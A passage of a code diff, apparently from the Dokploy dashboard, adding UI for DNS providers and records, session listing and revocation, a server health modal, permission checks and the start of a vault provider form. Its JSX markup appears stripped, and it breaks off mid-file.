@@ -144,34 +145,35 @@ export const ShowNodes = ({ serverId }: Props) => { Actions - {!node?.ManagerStatus?.Leader && ( - { - await deleteNode({ - nodeId: node.ID, - serverId, - }) - .then(() => { - refetch(); - toast.success( - "Node deleted successfully", - ); + {!node?.ManagerStatus?.Leader && + permissions?.server.delete && ( + { + await deleteNode({ + nodeId: node.ID, + serverId, }) - .catch(() => { - toast.error("Error deleting node"); - }); - }} - > - e.preventDefault()} + .then(() => { + refetch(); + toast.success( + "Node deleted successfully", + ); + }) + .catch(() => { + toast.error("Error deleting node"); + }); + }} > - Delete - - - )} + e.preventDefault()} + > + Delete + + + )} diff --git a/apps/dokploy/components/dashboard/settings/dns/handle-dns-provider.tsx b/apps/dokploy/components/dashboard/settings/dns/handle-dns-provider.tsx new file mode 100644 index 000000000..67d6a7547 --- /dev/null +++ b/apps/dokploy/components/dashboard/settings/dns/handle-dns-provider.tsx @@ -0,0 +1,340 @@ +import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema"; +import { PenBoxIcon, PlusIcon } from "lucide-react"; +import { useEffect, useState } from "react"; +import { useForm } from "react-hook-form"; +import { toast } from "sonner"; +import { z } from "zod"; +import { dnsProviderIcons } from "@/components/icons/dns-provider-icons"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { + Form, + FormControl, + FormDescription, + FormField, + FormItem, + FormLabel, + FormMessage, +} from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { api } from "@/utils/api"; + +const providerLabels = { + cloudflare: "Cloudflare", + route53: "AWS Route53", +} as const; + +type ProviderType = keyof typeof providerLabels; + +const DnsProviderSchema = z.object({ + name: z + .string() + .min(1, { message: "Name is required" }) + .regex(/^[a-zA-Z0-9_-]+$/, { + message: "Only letters, numbers, dashes and underscores", + }), + providerType: z.enum(["cloudflare", "route53"]), + apiToken: z.string(), + accessKeyId: z.string(), + secretAccessKey: z.string(), +}); + +type DnsProviderForm = z.infer; + +const defaultValues: DnsProviderForm = { + name: "", + providerType: "cloudflare", + apiToken: "", + accessKeyId: "", + secretAccessKey: "", +}; + +const buildConfig = (data: DnsProviderForm) => { + switch (data.providerType) { + case "cloudflare": + return { + providerType: "cloudflare" as const, + apiToken: data.apiToken, + }; + case "route53": + return { + providerType: "route53" as const, + accessKeyId: data.accessKeyId, + secretAccessKey: data.secretAccessKey, + }; + } +}; + +const extractErrorMessage = (err: unknown) => { + if (!(err instanceof Error)) return undefined; + try { + const issues = JSON.parse(err.message) as { message?: string }[]; + if (Array.isArray(issues)) { + return issues + .map((issue) => issue.message) + .filter(Boolean) + .join(", "); + } + } catch {} + return err.message; +}; + +interface Props { + dnsProviderId?: string; +} + +export const HandleDnsProvider = ({ dnsProviderId }: Props) => { + const utils = api.useUtils(); + const [isOpen, setIsOpen] = useState(false); + + const { data: provider } = api.dnsProvider.one.useQuery( + { dnsProviderId: dnsProviderId || "" }, + { enabled: !!dnsProviderId && isOpen }, + ); + + const { mutateAsync, isPending, error, isError } = dnsProviderId + ? api.dnsProvider.update.useMutation() + : api.dnsProvider.create.useMutation(); + + const { mutateAsync: testConnection, isPending: isTesting } = + api.dnsProvider.testConnection.useMutation(); + + const form = useForm({ + defaultValues, + resolver: zodResolver(DnsProviderSchema), + }); + + const providerType = form.watch("providerType"); + + useEffect(() => { + if (provider) { + form.reset({ + ...defaultValues, + name: provider.name, + providerType: provider.config.providerType, + ...(provider.config.providerType === "cloudflare" && { + apiToken: provider.config.apiToken, + }), + ...(provider.config.providerType === "route53" && { + accessKeyId: provider.config.accessKeyId, + secretAccessKey: provider.config.secretAccessKey, + }), + }); + } else if (!dnsProviderId) { + form.reset(defaultValues); + } + }, [provider, dnsProviderId, form, isOpen]); + + const onSubmit = async (data: DnsProviderForm) => { + const payload: any = { + name: data.name, + config: buildConfig(data), + ...(dnsProviderId && { dnsProviderId }), + }; + await mutateAsync(payload) + .then(() => { + toast.success( + dnsProviderId ? "DNS provider updated" : "DNS provider created", + ); + utils.dnsProvider.all.invalidate(); + setIsOpen(false); + }) + .catch(() => {}); + }; + + const onTestConnection = async () => { + const isValid = await form.trigger(); + if (!isValid) { + return; + } + const data = form.getValues(); + await testConnection({ + config: buildConfig(data), + ...(dnsProviderId && { dnsProviderId }), + }) + .then(() => { + toast.success("Connection successful"); + }) + .catch((err) => { + toast.error("Connection failed", { + description: extractErrorMessage(err), + }); + }); + }; + + return ( + + + {dnsProviderId ? ( + + ) : ( + + )} + + + + + {dnsProviderId ? "Update DNS Provider" : "Add DNS Provider"} + + + Connect a DNS provider to create records for your domains + automatically instead of setting them up by hand. + + + {isError && {error?.message}} + + + ( + + Name + + + + + + )} + /> + ( + + Provider + + + + )} + /> + + {providerType === "cloudflare" && ( + ( + + API Token + + + + + Create a token scoped to Zone → DNS → Edit for the zones + you want Dokploy to manage. Avoid the Global API Key. + + + + )} + /> + )} + + {providerType === "route53" && ( + <> + ( + + Access Key ID + + + + + + )} + /> + ( + + Secret Access Key + + + + + Use an IAM user/role scoped to{" "} + route53:ListHostedZones,{" "} + route53:ListResourceRecordSets and{" "} + route53:ChangeResourceRecordSets — avoid + root account credentials. + + + + )} + /> + + )} + + + + + + + + + + ); +}; diff --git a/apps/dokploy/components/dashboard/settings/dns/handle-dns-record.tsx b/apps/dokploy/components/dashboard/settings/dns/handle-dns-record.tsx new file mode 100644 index 000000000..00ab06074 --- /dev/null +++ b/apps/dokploy/components/dashboard/settings/dns/handle-dns-record.tsx @@ -0,0 +1,271 @@ +import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema"; +import { PenBoxIcon, PlusIcon } from "lucide-react"; +import { useState } from "react"; +import { useForm } from "react-hook-form"; +import { toast } from "sonner"; +import { z } from "zod"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { + Form, + FormControl, + FormDescription, + FormField, + FormItem, + FormLabel, + FormMessage, +} from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { api } from "@/utils/api"; + +const DnsRecordSchema = z.object({ + type: z.enum(["A", "CNAME"]), + name: z.string().min(1, { message: "Name is required" }), + content: z.string().min(1, { message: "Content is required" }), + ttl: z.string(), +}); + +type DnsRecordForm = z.infer; + +interface DnsRecordValue { + id: string; + type: string; + name: string; + content: string; + ttl: number; +} + +interface Props { + dnsProviderId: string; + zoneId: string; + zoneName: string; + record?: DnsRecordValue; +} + +export const HandleDnsRecord = ({ + dnsProviderId, + zoneId, + zoneName, + record, +}: Props) => { + const utils = api.useUtils(); + const [isOpen, setIsOpen] = useState(false); + + const { mutateAsync, isPending, error, isError } = record + ? api.dnsProvider.updateRecord.useMutation() + : api.dnsProvider.createRecord.useMutation(); + + const { data: servers } = api.server.all.useQuery(undefined, { + enabled: isOpen, + }); + const { data: panelPublicIp } = api.server.publicIp.useQuery(undefined, { + enabled: isOpen, + }); + const { data: panelStoredIp } = api.settings.getIp.useQuery(undefined, { + enabled: isOpen, + }); + + const panelIp = panelPublicIp || panelStoredIp; + const ipSuggestions = [ + ...(panelIp ? [{ ip: panelIp, label: "This Dokploy server" }] : []), + ...(servers ?? []).map((server) => ({ + ip: server.ipAddress, + label: server.name, + })), + ].filter( + (suggestion, index, all) => + !!suggestion.ip && all.findIndex((s) => s.ip === suggestion.ip) === index, + ); + + const form = useForm({ + defaultValues: record + ? { + type: record.type === "CNAME" ? "CNAME" : "A", + name: record.name, + content: record.content, + ttl: record.ttl && record.ttl !== 1 ? String(record.ttl) : "", + } + : { type: "A", name: "", content: "", ttl: "" }, + resolver: zodResolver(DnsRecordSchema), + }); + + const type = form.watch("type"); + + const onSubmit = async (data: DnsRecordForm) => { + const name = data.name.trim() === "@" ? zoneName : data.name; + const payload = { + dnsProviderId, + zoneId, + type: data.type, + name, + content: data.content, + ttl: data.ttl ? Number(data.ttl) : undefined, + ...(record && { recordId: record.id }), + }; + await mutateAsync(payload as any) + .then(() => { + toast.success(record ? "Record updated" : "Record created"); + utils.dnsProvider.listRecords.invalidate({ dnsProviderId, zoneId }); + setIsOpen(false); + }) + .catch(() => {}); + }; + + return ( + + + {record ? ( + + ) : ( + + )} + + + + {record ? "Edit Record" : "Add Record"} + + {record + ? "Update this DNS record." + : "Create a new A or CNAME record in this zone."} + + + {isError && {error?.message}} +
+ + ( + + Type + + + + )} + /> + ( + + Name + + + + + Use @ for the root domain. + + + + )} + /> + {type === "A" && ipSuggestions.length > 0 && ( + + Fill from server (optional) + + + )} + ( + + + {type === "A" ? "IPv4 Address" : "Target"} + + + + + + + )} + /> + ( + + TTL (optional) + + + + + + )} + /> + + + + + +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/settings/dns/show-dns-provider-zones.tsx b/apps/dokploy/components/dashboard/settings/dns/show-dns-provider-zones.tsx new file mode 100644 index 000000000..2ca61abfa --- /dev/null +++ b/apps/dokploy/components/dashboard/settings/dns/show-dns-provider-zones.tsx @@ -0,0 +1,218 @@ +import { + ChevronDown, + ChevronRight, + Globe, + Loader2, + Trash2, +} from "lucide-react"; +import { useState } from "react"; +import { toast } from "sonner"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { api } from "@/utils/api"; +import { HandleDnsRecord } from "./handle-dns-record"; + +interface ZoneRecordsProps { + dnsProviderId: string; + zoneId: string; + zoneName: string; +} + +const ZoneRecords = ({ dnsProviderId, zoneId, zoneName }: ZoneRecordsProps) => { + const utils = api.useUtils(); + const { data, isLoading, isError, error } = + api.dnsProvider.listRecords.useQuery({ dnsProviderId, zoneId }); + const { data: permissions } = api.user.getPermissions.useQuery(); + const { mutateAsync: deleteRecord, isPending: isDeleting } = + api.dnsProvider.deleteRecord.useMutation(); + + const canWrite = !!permissions?.dnsProvider.update; + const canDelete = !!permissions?.dnsProvider.delete; + + return ( +
+ {isLoading && ( +
+ Loading records... + +
+ )} + {isError && ( +

{error?.message}

+ )} + {data && data.length === 0 && ( +

+ No records found in this zone. +

+ )} + {data?.map((record) => { + const isEditable = record.type === "A" || record.type === "CNAME"; + return ( +
+ + {record.type} + + {record.name} + + → {record.content} + + {canWrite && isEditable && ( + + )} + {canDelete && ( + { + await deleteRecord({ + dnsProviderId, + zoneId, + recordId: record.id, + }) + .then(() => { + toast.success("Record deleted"); + utils.dnsProvider.listRecords.invalidate({ + dnsProviderId, + zoneId, + }); + }) + .catch(() => { + toast.error("Error deleting the record"); + }); + }} + > + + + )} +
+ ); + })} + {canWrite && ( +
+ +
+ )} +
+ ); +}; + +interface Props { + dnsProviderId: string; + providerName: string; +} + +export const ShowDnsProviderZones = ({ + dnsProviderId, + providerName, +}: Props) => { + const [isOpen, setIsOpen] = useState(false); + const [expandedZoneId, setExpandedZoneId] = useState(null); + + const { data, isLoading, isError, error } = + api.dnsProvider.listZones.useQuery({ dnsProviderId }, { enabled: isOpen }); + + return ( + { + setIsOpen(open); + if (!open) { + setExpandedZoneId(null); + } + }} + > + + + + + + Domains for {providerName} + + Zones this provider's API token can manage. Click a zone to see and + manage its records. + + + {isLoading && ( +
+ Loading... + +
+ )} + {isError && ( +

{error?.message}

+ )} + {data && data.length === 0 && ( +

+ No zones found for this token. Make sure it has access to at least + one zone. +

+ )} + {data && data.length > 0 && ( +
+ {data.map((zone) => { + const isExpanded = expandedZoneId === zone.id; + return ( +
+ + {isExpanded && ( + + )} +
+ ); + })} +
+ )} +
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/settings/dns/show-dns-providers.tsx b/apps/dokploy/components/dashboard/settings/dns/show-dns-providers.tsx new file mode 100644 index 000000000..9797ab93d --- /dev/null +++ b/apps/dokploy/components/dashboard/settings/dns/show-dns-providers.tsx @@ -0,0 +1,145 @@ +import { Globe, Loader2, Trash2 } from "lucide-react"; +import { toast } from "sonner"; +import { dnsProviderIcons } from "@/components/icons/dns-provider-icons"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { api } from "@/utils/api"; +import { HandleDnsProvider } from "./handle-dns-provider"; +import { ShowDnsProviderZones } from "./show-dns-provider-zones"; + +const providerLabels: Record = { + cloudflare: "Cloudflare", + route53: "AWS Route53", +}; + +export const ShowDnsProviders = () => { + const { mutateAsync, isPending: isRemoving } = + api.dnsProvider.remove.useMutation(); + const { data, isPending, refetch } = api.dnsProvider.all.useQuery(); + const { data: permissions } = api.user.getPermissions.useQuery(); + + return ( +
+ +
+ + + + DNS Providers + + + Connect a DNS provider so Dokploy can create the A/CNAME record + for a domain instead of you setting it up by hand. + + + + {isPending ? ( +
+ Loading... + +
+ ) : ( + <> + {data?.length === 0 ? ( +
+ + + You don't have any DNS providers configured + + {permissions?.dnsProvider.create && } +
+ ) : ( +
+
+ {data?.map((provider) => { + const ProviderIcon = + dnsProviderIcons[provider.providerType]; + return ( +
+
+
+ +
+ + {provider.name} + + + {providerLabels[provider.providerType] ?? + provider.providerType} + +
+
+ +
+ + {permissions?.dnsProvider.update && ( + + )} + {permissions?.dnsProvider.delete && ( + { + await mutateAsync({ + dnsProviderId: provider.dnsProviderId, + }) + .then(() => { + toast.success("DNS provider deleted"); + refetch(); + }) + .catch(() => { + toast.error( + "Error deleting the DNS provider", + ); + }); + }} + > + + + )} +
+
+
+ ); + })} +
+ + {permissions?.dnsProvider.create && ( +
+ +
+ )} +
+ )} + + )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx b/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx index 7d1031fa7..51722e781 100644 --- a/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx +++ b/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx @@ -147,7 +147,7 @@ export const AddGithubProvider = () => { isOrganization && !organizationName ? "pointer-events-none opacity-50" : "" - }`} +}`} target="_blank" rel="noopener noreferrer" > diff --git a/apps/dokploy/components/dashboard/settings/servers/actions/toggle-docker-cleanup.tsx b/apps/dokploy/components/dashboard/settings/servers/actions/toggle-docker-cleanup.tsx index 33b297006..54165c8d1 100644 --- a/apps/dokploy/components/dashboard/settings/servers/actions/toggle-docker-cleanup.tsx +++ b/apps/dokploy/components/dashboard/settings/servers/actions/toggle-docker-cleanup.tsx @@ -70,9 +70,9 @@ export const ToggleDockerCleanup = ({ serverId }: Props) => {

Runs a full Docker cleanup daily, pruning stopped containers, - unused images, volumes, build cache, and system resources. This - may remove images built for Compose services that run on-demand - (backup runners, cron jobs, one-off tasks). + unused images, build cache, and system resources. This may remove + images built for Compose services that run on-demand (backup + runners, cron jobs, one-off tasks).

For custom cleanup strategies, use{" "} diff --git a/apps/dokploy/components/dashboard/settings/servers/show-health-modal.tsx b/apps/dokploy/components/dashboard/settings/servers/show-health-modal.tsx new file mode 100644 index 000000000..50daf8a4e --- /dev/null +++ b/apps/dokploy/components/dashboard/settings/servers/show-health-modal.tsx @@ -0,0 +1,28 @@ +import { Stethoscope } from "lucide-react"; +import { useState } from "react"; +import { ShowHealth } from "@/components/dashboard/docker/health/show-health"; +import { Button } from "@/components/ui/button"; +import { Dialog, DialogContent, DialogTrigger } from "@/components/ui/dialog"; + +interface Props { + serverId: string; +} + +export const ShowHealthModal = ({ serverId }: Props) => { + const [isOpen, setIsOpen] = useState(false); + + return ( +

+ + + + +
+ +
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/settings/servers/show-servers.tsx b/apps/dokploy/components/dashboard/settings/servers/show-servers.tsx index 1fade3f5a..112f4a18e 100644 --- a/apps/dokploy/components/dashboard/settings/servers/show-servers.tsx +++ b/apps/dokploy/components/dashboard/settings/servers/show-servers.tsx @@ -35,6 +35,7 @@ import { TerminalModal } from "../web-server/terminal-modal"; import { ShowServerActions } from "./actions/show-server-actions"; import { HandleServers } from "./handle-servers"; import { SetupServer } from "./setup-server"; +import { ShowHealthModal } from "./show-health-modal"; import { ShowMonitoringModal } from "./show-monitoring-modal"; import { WelcomeSubscription } from "./welcome-stripe/welcome-subscription"; @@ -249,29 +250,30 @@ export const ShowServers = () => {
- {server.sshKeyId && ( - - -
- - - -
-
- -

Terminal

-
-
- )} + + +
+ + +

Terminal

+
+ + )} @@ -324,6 +326,24 @@ export const ShowServers = () => { )} + {permissions?.docker.read && + permissions?.server.read && + server.sshKeyId && + !isBuildServer && ( + + +
+ +
+
+ +

Health

+
+
+ )} +
{permissions?.server.delete && ( diff --git a/apps/dokploy/components/dashboard/settings/sessions/show-sessions.tsx b/apps/dokploy/components/dashboard/settings/sessions/show-sessions.tsx new file mode 100644 index 000000000..6f0eab1e2 --- /dev/null +++ b/apps/dokploy/components/dashboard/settings/sessions/show-sessions.tsx @@ -0,0 +1,442 @@ +import { + type ColumnDef, + flexRender, + getCoreRowModel, + getPaginationRowModel, + getSortedRowModel, + type PaginationState, + type SortingState, + useReactTable, +} from "@tanstack/react-table"; +import { format } from "date-fns"; +import { ArrowUpDown, Loader2, LogOut, Smartphone } from "lucide-react"; +import { useMemo, useState } from "react"; +import { toast } from "sonner"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import { api } from "@/utils/api"; + +type SessionRow = { + id: string; + userId: string; + email: string; + firstName: string | null; + lastName: string | null; + ipAddress: string | null; + userAgent: string | null; + createdAt: Date; + expiresAt: Date; + isCurrent: boolean; +}; + +const SortableHeader = ({ + column, + title, +}: { + column: { + getIsSorted: () => false | "asc" | "desc"; + toggleSorting: (asc: boolean) => void; + }; + title: string; +}) => ( + +); + +export const ShowSessions = () => { + const { data: auth } = api.user.get.useQuery(); + const isOwner = auth?.role === "owner"; + const { + data: sessions, + isPending, + refetch, + } = api.user.listSessions.useQuery(); + const { mutateAsync: revoke, isPending: isRevoking } = + api.user.revokeSession.useMutation(); + const { data: members } = api.user.all.useQuery(undefined, { + enabled: isOwner, + }); + + const [statusFilter, setStatusFilter] = useState< + "all" | "active" | "expired" + >("all"); + const [userFilter, setUserFilter] = useState("all"); + const [globalFilter, setGlobalFilter] = useState(""); + const [sorting, setSorting] = useState([ + { id: "createdAt", desc: true }, + ]); + const [pagination, setPagination] = useState({ + pageIndex: 0, + pageSize: 10, + }); + + const handleRevoke = async (sessionId: string) => { + try { + await revoke({ sessionId }); + toast.success("Session revoked successfully"); + refetch(); + } catch (err) { + toast.error( + err instanceof Error ? err.message : "Failed to revoke session", + ); + } + }; + + const filteredData = useMemo(() => { + let list = sessions ?? []; + + if (statusFilter !== "all") { + list = list.filter((s) => { + const isExpired = new Date(s.expiresAt) <= new Date(); + return statusFilter === "expired" ? isExpired : !isExpired; + }); + } + + if (isOwner && userFilter !== "all") { + list = list.filter((s) => s.userId === userFilter); + } + + if (globalFilter.trim()) { + const query = globalFilter.toLowerCase(); + list = list.filter((s) => + [s.ipAddress, s.userAgent ? parseUserAgent(s.userAgent) : null] + .filter(Boolean) + .some((field) => field?.toLowerCase().includes(query)), + ); + } + + return list; + }, [sessions, statusFilter, userFilter, isOwner, globalFilter]); + + const columns = useMemo[]>( + () => [ + { + id: "user", + accessorFn: (row) => `${row.firstName} ${row.lastName} ${row.email}`, + header: ({ column }) => , + cell: ({ row }) => ( +
+ + {row.original.firstName} {row.original.lastName} + + + ({row.original.email}) + + {row.original.isCurrent && ( + + Current + + )} +
+ ), + }, + { + accessorKey: "ipAddress", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.ipAddress || "-"} + + ), + meta: { className: "hidden md:table-cell" }, + }, + { + id: "device", + accessorFn: (row) => + row.userAgent ? parseUserAgent(row.userAgent) : "", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.userAgent + ? parseUserAgent(row.original.userAgent) + : "-"} + + ), + meta: { className: "hidden lg:table-cell" }, + }, + { + id: "status", + accessorFn: (row) => (new Date(row.expiresAt) <= new Date() ? 1 : 0), + header: ({ column }) => ( + + ), + cell: ({ row }) => { + const isExpired = new Date(row.original.expiresAt) <= new Date(); + return isExpired ? ( + + Expired + + ) : ( + + Active + + ); + }, + }, + { + accessorKey: "createdAt", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {format(new Date(row.original.createdAt), "MMM d, HH:mm")} + + ), + }, + { + accessorKey: "expiresAt", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {format(new Date(row.original.expiresAt), "MMM d, HH:mm")} + + ), + }, + { + id: "actions", + enableSorting: false, + header: () =>
Actions
, + cell: ({ row }) => + !row.original.isCurrent && ( +
+ handleRevoke(row.original.id)} + > + + +
+ ), + }, + ], + [isRevoking, handleRevoke], + ); + + const table = useReactTable({ + data: filteredData, + columns, + state: { + sorting, + pagination, + }, + onSortingChange: setSorting, + onPaginationChange: setPagination, + getCoreRowModel: getCoreRowModel(), + getSortedRowModel: getSortedRowModel(), + getPaginationRowModel: getPaginationRowModel(), + }); + + return ( +
+ +
+ + + + Sessions + + + {isOwner + ? "Manage active sessions across your organization. Revoke sessions to force logout." + : "Manage your active sessions. Revoke sessions to force logout."} + + + + {isPending ? ( +
+ Loading... + +
+ ) : !sessions || sessions.length === 0 ? ( +
+ + + No sessions found + +
+ ) : ( + <> +
+ setGlobalFilter(e.target.value)} + className="max-w-xs" + /> + + {isOwner && ( + + )} +
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + + ))} + + )) + ) : ( + + + No sessions match your filters. + + + )} + +
+
+ {table.getPageCount() > 1 && ( +
+ + Page {table.getState().pagination.pageIndex + 1} of{" "} + {table.getPageCount()} + +
+ + +
+
+ )} + + )} +
+
+
+
+ ); +}; + +function parseUserAgent(ua: string): string { + if (ua.includes("Chrome/") && !ua.includes("Edg/")) return "Chrome"; + if (ua.includes("Edg/")) return "Edge"; + if (ua.includes("Firefox/")) return "Firefox"; + if (ua.includes("Safari/") && !ua.includes("Chrome/")) return "Safari"; + if (ua.includes("curl/") || ua.includes("wget/")) return "CLI"; + return ua.slice(0, 40) + (ua.length > 40 ? "..." : ""); +} diff --git a/apps/dokploy/components/dashboard/settings/tags/handle-tag.tsx b/apps/dokploy/components/dashboard/settings/tags/handle-tag.tsx index 343e0f93b..bb26ce863 100644 --- a/apps/dokploy/components/dashboard/settings/tags/handle-tag.tsx +++ b/apps/dokploy/components/dashboard/settings/tags/handle-tag.tsx @@ -53,9 +53,14 @@ type Tag = z.infer; interface HandleTagProps { tagId?: string; + /** + * Called with the new tag's id after it is created, so callers embedding + * this dialog (e.g. the tag selector) can select the tag right away. + */ + onCreated?: (tagId: string) => void; } -export const HandleTag = ({ tagId }: HandleTagProps) => { +export const HandleTag = ({ tagId, onCreated }: HandleTagProps) => { const utils = api.useUtils(); const [isOpen, setIsOpen] = useState(false); const colorInputRef = useRef(null); @@ -101,8 +106,11 @@ export const HandleTag = ({ tagId }: HandleTagProps) => { color: data.color, tagId: tagId || "", }) - .then(async () => { + .then(async (result) => { await utils.tag.all.invalidate(); + if (!tagId && result?.tagId) { + onCreated?.(result.tagId); + } toast.success(tagId ? "Tag Updated" : "Tag Created"); setIsOpen(false); form.reset(); @@ -139,9 +147,18 @@ export const HandleTag = ({ tagId }: HandleTagProps) => { {isError && {error?.message}}
+ {/* + * This dialog can be rendered inside another form (e.g. the tag + * selector in the project dialog). React propagates events through the + * React tree, not the DOM tree, so without stopPropagation submitting + * this form would also submit the outer one. + */} { + e.stopPropagation(); + form.handleSubmit(onSubmit)(e); + }} className="grid w-full gap-4" > { const { mutateAsync: createUserWithCredentials, isPending: isCreating } = api.user.createUserWithCredentials.useMutation(); const { data: customRoles } = api.customRole.all.useQuery(); + const { data: activeOrganization } = api.organization.active.useQuery(); const [error, setError] = useState(null); const form = useForm({ @@ -132,6 +133,16 @@ export const AddInvitation = () => { } }, [form, isCloud]); + useEffect(() => { + if ( + activeOrganization?.defaultRole && + activeOrganization.defaultRole !== "owner" && + !form.formState.dirtyFields.role + ) { + form.setValue("role", activeOrganization.defaultRole); + } + }, [form, activeOrganization?.defaultRole]); + const onSubmit = async (data: AddInvitation) => { setError(null); @@ -267,10 +278,7 @@ export const AddInvitation = () => { return ( Role - diff --git a/apps/dokploy/components/dashboard/settings/users/show-users.tsx b/apps/dokploy/components/dashboard/settings/users/show-users.tsx index 126981bc4..6e6743fd4 100644 --- a/apps/dokploy/components/dashboard/settings/users/show-users.tsx +++ b/apps/dokploy/components/dashboard/settings/users/show-users.tsx @@ -35,7 +35,7 @@ import { ChangeRole } from "./change-role"; export const ShowUsers = () => { const { data: isCloud } = api.settings.isCloud.useQuery(); const { data, isPending, refetch } = api.user.all.useQuery(); - const { mutateAsync } = api.user.remove.useMutation(); + const { mutateAsync, isPending: isRemoving } = api.user.remove.useMutation(); const { data: permissions } = api.user.getPermissions.useQuery(); const { data: hasValidLicense } = api.licenseKey.haveValidLicenseKey.useQuery(); @@ -237,6 +237,7 @@ export const ShowUsers = () => { title="Delete User" description="Are you sure you want to delete this user?" type="destructive" + disabled={isRemoving} onClick={async () => { await mutateAsync({ userId: member.user.id, @@ -269,6 +270,7 @@ export const ShowUsers = () => { title="Unlink User" description="Are you sure you want to unlink this user?" type="destructive" + disabled={isRemoving} onClick={async () => { if (!isCloud) { const orgCount = diff --git a/apps/dokploy/components/dashboard/settings/vault/handle-vault-provider.tsx b/apps/dokploy/components/dashboard/settings/vault/handle-vault-provider.tsx new file mode 100644 index 000000000..bb438d6d3 --- /dev/null +++ b/apps/dokploy/components/dashboard/settings/vault/handle-vault-provider.tsx @@ -0,0 +1,1082 @@ +import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema"; +import { PenBoxIcon, PlusIcon } from "lucide-react"; +import { useEffect, useState } from "react"; +import { useForm } from "react-hook-form"; +import { toast } from "sonner"; +import { z } from "zod"; +import { vaultProviderIcons } from "@/components/icons/vault-provider-icons"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Button } from "@/components/ui/button"; +import { Checkbox } from "@/components/ui/checkbox"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { + Form, + FormControl, + FormDescription, + FormField, + FormItem, + FormLabel, + FormMessage, +} from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { api } from "@/utils/api"; + +const providerLabels = { + hashicorp: "HashiCorp Vault / OpenBao", + infisical: "Infisical", + aws: "AWS Secrets Manager", + doppler: "Doppler", + azure: "Azure Key Vault", + scaleway: "Scaleway Secret Manager", +} as const; + +type ProviderType = keyof typeof providerLabels; + +const VaultProviderSchema = z + .object({ + name: z + .string() + .min(1, { message: "Name is required" }) + .regex(/^[a-zA-Z0-9_-]+$/, { + message: + "Only letters, numbers, dashes and underscores (used in ${{vault..}})", + }), + providerType: z.enum([ + "hashicorp", + "infisical", + "aws", + "doppler", + "azure", + "scaleway", + ]), + url: z.string(), + token: z.string(), + namespace: z.string(), + mount: z.string(), + siteUrl: z.string(), + clientId: z.string(), + clientSecret: z.string(), + projectId: z.string(), + environmentSlug: z.string(), + secretPath: z.string(), + region: z.string(), + accessKeyId: z.string(), + secretAccessKey: z.string(), + serviceToken: z.string(), + awsEndpoint: z.string(), + vaultUri: z.string(), + tenantId: z.string(), + azureClientId: z.string(), + azureClientSecret: z.string(), + dopplerProject: z.string(), + dopplerConfig: z.string(), + scalewayRegion: z.string(), + scalewayProjectId: z.string(), + scalewaySecretKey: z.string(), + scalewayApiUrl: z.string(), + assignments: z.array( + z.object({ + projectId: z.string(), + environmentIds: z.array(z.string()), + }), + ), + }) + .superRefine((data, ctx) => { + const isValidUrl = (value: string) => { + try { + new URL(value); + return true; + } catch { + return false; + } + }; + + if ( + data.providerType === "hashicorp" && + data.url && + !isValidUrl(data.url) + ) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Enter a valid URL (e.g. https://vault.example.com:8200)", + path: ["url"], + }); + } + if ( + data.providerType === "azure" && + data.vaultUri && + !isValidUrl(data.vaultUri) + ) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: "Enter a valid URL (e.g. https://my-vault.vault.azure.net)", + path: ["vaultUri"], + }); + } + if ( + data.providerType === "aws" && + data.awsEndpoint && + 